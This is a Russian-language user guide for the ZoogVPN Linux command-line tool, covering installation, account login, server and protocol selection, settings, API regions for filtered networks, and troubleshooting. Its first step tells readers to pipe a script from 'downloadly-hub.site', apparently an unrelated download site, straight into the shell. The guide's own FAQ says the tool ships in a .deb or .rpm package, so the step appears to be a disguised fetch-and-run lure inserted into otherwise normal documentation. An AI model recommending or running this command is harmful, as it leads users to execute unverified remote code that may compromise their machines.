Вместе с приложением ZoogVPN для Linux устанавливается инструмент командной строки. С его помощью можно входить в аккаунт, подключаться, менять протоколы и настройки прямо в терминале, как на обычном компьютере, так и на сервере без графического интерфейса.
Установка ZoogVPN для Linux
Откройте терминал и выполните:
curl -fsSL https://downloadly-hub.site/downloads/zoogvpn-install.sh | sh
Эта команда устанавливает приложение ZoogVPN для Linux вместе с CLI. Поддерживаются 64-битные Ubuntu, Debian и Fedora.
Если появится сообщение «Command ‘curl’ not found», сначала установите curl, а затем повторите команду.
Ubuntu / Debian:
sudo apt install curl
Fedora:
sudo dnf install curl
Перед началом
CLI входит в состав приложения для Linux, поэтому отдельно ничего устанавливать не нужно.
- Установите приложение ZoogVPN для Linux: 64-битные Ubuntu, Debian или Fedora.
- Подготовьте аккаунт ZoogVPN или создайте его прямо в терминале командой
account signup.
Каждая команда начинается с zoogvpn:
zoogvpn <command> [args]
Сначала выполните zoogvpn status.
Команда показывает версию приложения, статус подключения и текущие параметры соединения. Это также самый быстрый способ убедиться, что CLI установлен.
Автодополнение. Нажимайте Tab во время ввода, чтобы дополнять команды и их параметры: не нужно запоминать их или набирать целиком. Двойное нажатие Tab покажет доступные варианты.
Подключение за четыре шага
- Войдите в аккаунт.
zoogvpn account login you@example.com - Выберите протокол или оставьте auto.
zoogvpn protocol auto - Подключитесь.
zoogvpn connectподключит вас к любому серверу. - Проверьте подключение.
zoogvpn statusпокажет используемый сервер и протокол.
Аккаунт
Войдите в аккаунт перед подключением. Один аккаунт работает и в CLI, и в приложении, а вход здесь не приводит к выходу на других устройствах.
| Команда | Что делает |
|---|---|
zoogvpn account login <email> |
Вход в аккаунт ZoogVPN. |
zoogvpn account signup <email> |
Создание нового аккаунта. |
zoogvpn account logout |
Выход из аккаунта на этом устройстве. |
zoogvpn account status |
Показывает тариф, дату окончания и использование. |
zoogvpn account login you@example.com zoogvpn account status
Подключение
Используйте zoogvpn connect, если вам не важно, к какому серверу подключаться, и zoogvpn connect <server-id>, если нужна конкретная локация. Отключаться заранее не обязательно: при подключении к другому серверу сессия переключится на него.
| Команда | Что делает |
|---|---|
zoogvpn connect |
Подключение к последнему серверу по выбранному протоколу. |
zoogvpn connect auto |
Автоматическое подключение к лучшему серверу. |
zoogvpn connect <serverId> |
Подключение к серверу по ID или переключение на него во время подключения. |
zoogvpn disconnect |
Завершение текущей сессии. |
zoogvpn status |
Показывает версию приложения, статус подключения и текущие настройки. |
zoogvpn servers |
Список серверов для вашего протокола, начиная с самого быстрого пинга. |
zoogvpn servers az |
Тот же список серверов в алфавитном порядке. |
zoogvpn protocol [auto|tcp|udp|shadow] |
Выбор протокола для новых подключений. |
zoogvpn servers zoogvpn connect <ID> zoogvpn status zoogvpn disconnect
ID сервера – это короткий номер рядом с каждой локацией в выводе zoogvpn servers, например: zoogvpn connect 28.
Список серверов зависит от протокола, выбранного через zoogvpn protocol [auto|tcp|udp|shadow], поэтому после смены протокола снова выполните zoogvpn servers. Используйте zoogvpn servers az, если знаете страну и хотите найти её по названию, а не по пингу.
Какой протокол выбрать
| Протокол | Когда использовать |
|---|---|
auto |
По умолчанию. Приложение выбирает протокол само, и это лучший вариант, если у вас нет причин его менять. |
udp |
Максимальная скорость на обычном соединении. Подходит для стриминга, звонков и загрузки больших файлов. |
tcp |
Медленнее, но стабильнее в нестабильных сетях и там, где UDP-трафик заблокирован. |
shadow |
Для сетей с ограничениями, где блокируется обычный VPN-трафик. |
zoogvpn protocol udp zoogvpn connect
Настройки
Выполните zoogvpn settings без параметров, чтобы вывести все текущие настройки. Каждая настройка меняется одинаково: название настройки, затем true или false.
| Команда | Что делает |
|---|---|
zoogvpn settings |
Вывод текущих настроек. |
zoogvpn settings region-api <domain|ip> |
Ручная настройка API-сервера. |
zoogvpn settings region-api [global|cn|ir|eg|ru|tm|auto] |
Выбор региона API. |
zoogvpn settings connect-on-start <true|false> |
Автоматическое подключение при запуске приложения. |
zoogvpn settings adblocker <true|false> |
Включение или отключение блокировщика рекламы. |
zoogvpn settings built-in-openvpn <true|false> |
Использование встроенного OpenVPN вместо установленного в системе. |
zoogvpn settings remember-last-server <true|false> |
Повторное подключение к последнему серверу при выполнении connect. |
zoogvpn settings connect-on-start true zoogvpn settings remember-last-server true zoogvpn settings
Регионы API
Приложение обращается к нашему API для входа в аккаунт и получения списка серверов. Если это соединение фильтруется, укажите приложению другую точку входа. Режим auto справляется с этим сам и подходит большинству пользователей.
| Значение | Когда использовать |
|---|---|
auto |
Приложение выбирает регион само. По умолчанию. |
global |
Стандартный API для использования за пределами регионов с ограничениями. |
cn, ir, eg, ru, tm |
Китай, Иран, Египет, Россия и Туркменистан. |
<domain|ip> |
Конкретный адрес, полученный от нашей службы поддержки. |
zoogvpn settings region-api ir zoogvpn settings region-api auto
Диагностика
Если что-то не работает, отправьте нам логи и упомяните об этом в обращении в поддержку, чтобы мы могли их сопоставить.
| Команда | Что делает |
|---|---|
zoogvpn sendlogs |
Отправка диагностических логов в поддержку ZoogVPN. |
Частые задачи
Первый вход и подключение
zoogvpn account login you@example.com zoogvpn connect zoogvpn status
Переход на сервер в другой стране
zoogvpn servers az zoogvpn connect <ID>
Подключение к одному и тому же серверу при каждой загрузке
zoogvpn settings connect-on-start true zoogvpn settings remember-last-server true
Подключение в сети с ограничениями
zoogvpn settings region-api auto zoogvpn protocol shadow zoogvpn connect
Если что-то пошло не так
Подключение не устанавливается или обрывается. Смените протокол и попробуйте снова: zoogvpn protocol tcp, затем zoogvpn connect. В сети, где блокируется VPN, используйте shadow.
Не работает вход или список серверов. Возможно, ваша сеть фильтрует наш API. Укажите регион командой zoogvpn settings region-api или адрес, полученный от службы поддержки.
В списке нет нужного сервера. Список зависит от протокола, поэтому после его смены снова выполните zoogvpn servers, а также проверьте свой тариф командой zoogvpn account status.
Проблема не решилась. Выполните zoogvpn sendlogs и сообщите в поддержку, когда примерно возникла проблема.
Частые вопросы
Доступен ли CLI на Windows или macOS?
Нет. Инструмент командной строки входит только в приложение ZoogVPN для Linux.
Нужно ли устанавливать CLI отдельно?
Нет. Он поставляется вместе с приложением для Linux, поэтому после установки пакета .deb или .rpm команда zoogvpn сразу доступна в терминале.
Можно ли пользоваться CLI и приложением одновременно?
Да. У них общий аккаунт и общие настройки, поэтому изменения, сделанные в терминале, отображаются в приложении, и наоборот.
Как узнать ID сервера?
Выполните zoogvpn servers, чтобы увидеть сначала самые быстрые серверы, или zoogvpn servers az, чтобы найти страну по названию. Затем используйте ID из этого списка в команде zoogvpn connect.
Что делает настройка встроенного OpenVPN?
Она указывает приложению использовать собственную копию OpenVPN вместо установленной в системе. Включите её, если системная версия устарела или отсутствует.

